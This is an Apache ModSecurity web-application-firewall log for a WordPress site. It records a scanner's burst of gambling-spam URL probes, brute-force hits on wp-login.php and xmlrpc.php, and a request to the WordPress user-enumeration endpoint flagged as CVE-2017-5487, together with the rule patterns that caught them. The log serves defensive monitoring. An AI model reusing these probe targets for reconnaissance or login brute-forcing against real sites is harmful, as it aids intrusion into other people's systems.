[Fri Mar 13 10:37:37.764679 2026] [:error] [pid 9309:tid 9325] [client 54.37.252.231:44976] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "abN4cao1KEMMghNWAN9YyAAAAgI"]
[Fri Mar 13 10:37:39.798924 2026] [:error] [pid 9309:tid 9335] [client 54.37.252.231:44992] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "abN4c6o1KEMMghNWAN9Y4gAAAgw"]
[Fri Mar 13 10:37:41.669934 2026] [:error] [pid 9309:tid 9340] [client 54.37.252.231:45008] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "abN4dao1KEMMghNWAN9Y6wAAAhE"]
[Fri Mar 13 10:37:43.681875 2026] [:error] [pid 9241:tid 9266] [client 54.37.252.231:45010] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "abN4dw48xagB6AsXkJ7Y6AAAAc0"]
[Fri Mar 13 10:37:45.726087 2026] [:error] [pid 44755:tid 44776] [client 54.37.252.231:52622] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "abN4efONf1H0XrBFE4PKoAAAARM"]
[Fri Mar 13 10:37:47.602526 2026] [:error] [pid 61928:tid 61981] [client 54.37.252.231:52636] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "abN4ewod66AHekJJZipXjAAAAEQ"]
[Fri Mar 13 10:37:49.649752 2026] [:error] [pid 44755:tid 44771] [client 54.37.252.231:52642] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "abN4ffONf1H0XrBFE4PKtwAAAQ4"]
[Fri Mar 13 10:37:51.530228 2026] [:error] [pid 44755:tid 44765] [client 54.37.252.231:52644] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "abN4f_ONf1H0XrBFE4PKxwAAAQg"]
[Fri Mar 13 10:37:53.558556 2026] [:error] [pid 9241:tid 9276] [client 54.37.252.231:52660] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "abN4gQ48xagB6AsXkJ7Y6QAAAdY"]
[Fri Mar 13 10:37:55.424532 2026] [:error] [pid 9309:tid 9339] [client 54.37.252.231:37266] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "abN4g6o1KEMMghNWAN9Y_QAAAhA"]
[Fri Mar 13 10:37:57.439534 2026] [:error] [pid 9309:tid 9326] [client 54.37.252.231:37272] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "abN4hao1KEMMghNWAN9Y_wAAAgM"]
[Fri Mar 13 10:37:59.454318 2026] [:error] [pid 9241:tid 9269] [client 54.37.252.231:37282] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "abN4hw48xagB6AsXkJ7Y6wAAAdA"]
[Fri Mar 13 10:38:01.475048 2026] [:error] [pid 9311:tid 9369] [client 54.37.252.231:37294] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mega%20slot.aspx"] [unique_id "abN4iVTiCkU4QLmYwPm2IAAAAlI"]
[Fri Mar 13 13:11:12.717164 2026] [:error] [pid 9309:tid 9325] [client 43.166.242.189:33936] [client 43.166.242.189] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "abOccKo1KEMMghNWAN-jKAAAAgI"]
[Fri Mar 13 13:51:40.822718 2026] [:error] [pid 44755:tid 44760] [client 180.110.203.108:59155] [client 180.110.203.108] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "abOl7PONf1H0XrBFE4MImgAAAQM"]
[Fri Mar 13 15:55:39.761142 2026] [:error] [pid 55077:tid 55079] [client 152.59.79.108:61422] [client 152.59.79.108] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.59.79.108, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abPC-99Ul5ym4M-PlQKj8gAAAUA"]
[Fri Mar 13 16:00:42.575462 2026] [:error] [pid 44755:tid 44777] [client 152.59.79.108:20227] [client 152.59.79.108] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "abPEKvONf1H0XrBFE4M1WQAAARQ"]
[Fri Mar 13 16:02:00.559333 2026] [:error] [pid 9311:tid 9362] [client 152.59.79.108:57035] [client 152.59.79.108] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.59.79.108, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abPEeFTiCkU4QLmYwPkLKAAAAks"]
[Fri Mar 13 16:03:18.952055 2026] [:error] [pid 55077:tid 55080] [client 152.59.79.108:57350] [client 152.59.79.108] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.59.79.108, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abPExt9Ul5ym4M-PlQKm-QAAAUE"]
[Fri Mar 13 16:04:34.663556 2026] [:error] [pid 9311:tid 9364] [client 152.59.79.108:58439] [client 152.59.79.108] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.59.79.108, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abPFElTiCkU4QLmYwPkLlgAAAk0"]
[Fri Mar 13 16:05:58.812995 2026] [:error] [pid 9111:tid 9145] [client 152.59.79.108:62218] [client 152.59.79.108] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.59.79.108, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abPFZk-M156SLpD2Brs0wQAAAZM"]
[Fri Mar 13 16:40:07.147416 2026] [:error] [pid 44755:tid 44769] [client 152.59.79.214:63633] [client 152.59.79.214] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.59.79.214, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abPNZ_ONf1H0XrBFE4M93AAAAQw"]
[Fri Mar 13 16:41:51.925008 2026] [:error] [pid 44755:tid 44764] [client 152.59.79.214:53599] [client 152.59.79.214] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.59.79.214, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abPNz_ONf1H0XrBFE4M-UgAAAQc"]
[Fri Mar 13 16:43:06.994658 2026] [:error] [pid 62036:tid 62061] [client 152.59.79.214:54089] [client 152.59.79.214] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.59.79.214, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abPOGrce6g9kILuh_R5vUwAAANI"]
[Fri Mar 13 16:44:24.761541 2026] [:error] [pid 9309:tid 9325] [client 152.59.79.214:59356] [client 152.59.79.214] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.59.79.214, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abPOaKo1KEMMghNWAN8BuAAAAgI"]
[Fri Mar 13 16:45:48.711478 2026] [:error] [pid 61928:tid 61990] [client 152.59.79.214:24078] [client 152.59.79.214] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.59.79.214, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abPOvAod66AHekJJZiqOKgAAAE0"]
[Fri Mar 13 16:49:33.794810 2026] [:error] [pid 55077:tid 55091] [client 45.131.195.242:45097] [client 45.131.195.242] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.195.242, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abPPnd9Ul5ym4M-PlQK4-QAAAUw"]
[Fri Mar 13 18:45:29.366866 2026] [:error] [pid 61927:tid 61955] [client 49.51.253.83:33834] [client 49.51.253.83] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "abPqybLkK584eBa2J7X_ugAAAAk"]
[Fri Mar 13 19:51:57.341079 2026] [:error] [pid 55077:tid 55082] [client 101.33.66.34:38880] [client 101.33.66.34] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "abP6Xd9Ul5ym4M-PlQLlPwAAAUM"]
[Fri Mar 13 23:38:57.170113 2026] [:error] [pid 60496:tid 60515] [client 45.131.195.93:52473] [client 45.131.195.93] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.195.93, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abQvkQb67oGiJ3jaL8wnRAAAA0s"]
[Fri Mar 13 23:38:57.171263 2026] [:error] [pid 60436:tid 60488] [client 45.131.195.103:39277] [client 45.131.195.103] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.195.103, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abQvkYI3PEddCArY1AazpQAAAxM"]
[Fri Mar 13 23:52:18.604672 2026] [:error] [pid 9309:tid 9329] [client 45.131.195.172:60249] [client 45.131.195.172] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.195.172, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abQysqo1KEMMghNWAN9c_gAAAgY"]
[Fri Mar 13 23:52:18.627334 2026] [:error] [pid 61928:tid 61994] [client 45.131.195.83:34925] [client 45.131.195.83] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.195.83, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abQysgod66AHekJJZiqzjAAAAFE"]
[Sat Mar 14 00:02:10.783454 2026] [:error] [pid 60436:tid 60478] [client 45.131.195.203:20181] [client 45.131.195.203] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.195.203, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abQ1AoI3PEddCArY1Aa49QAAAwk"]
[Sat Mar 14 00:02:11.165643 2026] [:error] [pid 60436:tid 60493] [client 45.131.195.223:47687] [client 45.131.195.223] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.195.223, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abQ1A4I3PEddCArY1Aa49gAAAxg"]
[Sat Mar 14 00:11:12.618340 2026] [:error] [pid 60497:tid 60544] [client 45.131.195.223:50157] [client 45.131.195.223] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.195.223, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abQ3IBjNYgapWlkb4ljeSAAAA40"]
[Sat Mar 14 00:11:12.827103 2026] [:error] [pid 60497:tid 60549] [client 45.131.195.223:48787] [client 45.131.195.223] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.195.223, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abQ3IBjNYgapWlkb4ljeSQAAA5I"]
[Sat Mar 14 00:20:25.980286 2026] [:error] [pid 48070:tid 48086] [client 45.131.195.193:63275] [client 45.131.195.193] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.195.193, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abQ5SUIvrhMS5BVHxNnzEwAAAA4"]
[Sat Mar 14 00:20:25.980926 2026] [:error] [pid 47905:tid 48008] [client 45.131.195.157:53329] [client 45.131.195.157] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.195.157, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abQ5SRaYZayP4o4wpJcFqQAAAU8"]
[Sat Mar 14 00:28:31.258791 2026] [:error] [pid 48070:tid 48096] [client 45.131.195.211:63163] [client 45.131.195.211] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.195.211, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abQ7L0IvrhMS5BVHxNn22QAAABg"]
[Sat Mar 14 00:28:31.361179 2026] [:error] [pid 47891:tid 47972] [client 45.131.195.229:32039] [client 45.131.195.229] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.195.229, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abQ7L_chNnuMqi7I_WHksQAAAIY"]
[Sat Mar 14 00:44:38.838041 2026] [:error] [pid 47891:tid 47980] [client 147.135.214.103:52376] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "abQ-9vchNnuMqi7I_WHpVgAAAI4"]
[Sat Mar 14 00:44:40.850147 2026] [:error] [pid 47905:tid 48010] [client 147.135.214.103:60144] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "abQ--BaYZayP4o4wpJcPkAAAAVE"]
[Sat Mar 14 00:44:43.002486 2026] [:error] [pid 48070:tid 48089] [client 147.135.214.103:60156] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "abQ--0IvrhMS5BVHxNn_-QAAABE"]
[Sat Mar 14 00:44:44.969916 2026] [:error] [pid 48070:tid 48092] [client 147.135.214.103:54894] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "abQ-_EIvrhMS5BVHxNkAAAAAABQ"]
[Sat Mar 14 00:44:47.019302 2026] [:error] [pid 47891:tid 47966] [client 147.135.214.103:54898] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "abQ-__chNnuMqi7I_WHpXwAAAIA"]
[Sat Mar 14 00:44:49.075477 2026] [:error] [pid 48070:tid 48073] [client 147.135.214.103:54914] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "abQ_AUIvrhMS5BVHxNkACwAAAAE"]
[Sat Mar 14 00:44:51.176200 2026] [:error] [pid 48070:tid 48082] [client 147.135.214.103:54930] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "abQ_A0IvrhMS5BVHxNkAEgAAAAo"]
[Sat Mar 14 00:44:53.365506 2026] [:error] [pid 47891:tid 47966] [client 147.135.214.103:44694] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "abQ_BfchNnuMqi7I_WHpbAAAAIA"]
[Sat Mar 14 00:44:55.475311 2026] [:error] [pid 47878:tid 47944] [client 147.135.214.103:44698] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "abQ_B38jymmmpr1jcBehiQAAAEU"]
[Sat Mar 14 00:44:57.400227 2026] [:error] [pid 48070:tid 48095] [client 147.135.214.103:44704] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "abQ_CUIvrhMS5BVHxNkAHgAAABc"]
[Sat Mar 14 00:44:59.488781 2026] [:error] [pid 47905:tid 48004] [client 147.135.214.103:44712] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "abQ_CxaYZayP4o4wpJcPpwAAAUs"]
[Sat Mar 14 00:45:01.386265 2026] [:error] [pid 47905:tid 47996] [client 147.135.214.103:44718] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "abQ_DRaYZayP4o4wpJcPrAAAAUM"]
[Sat Mar 14 00:45:03.411443 2026] [:error] [pid 48070:tid 48089] [client 147.135.214.103:58178] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "abQ_D0IvrhMS5BVHxNkAKAAAABE"]
[Sat Mar 14 00:45:05.311732 2026] [:error] [pid 48070:tid 48082] [client 147.135.214.103:58188] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "abQ_EUIvrhMS5BVHxNkALQAAAAo"]
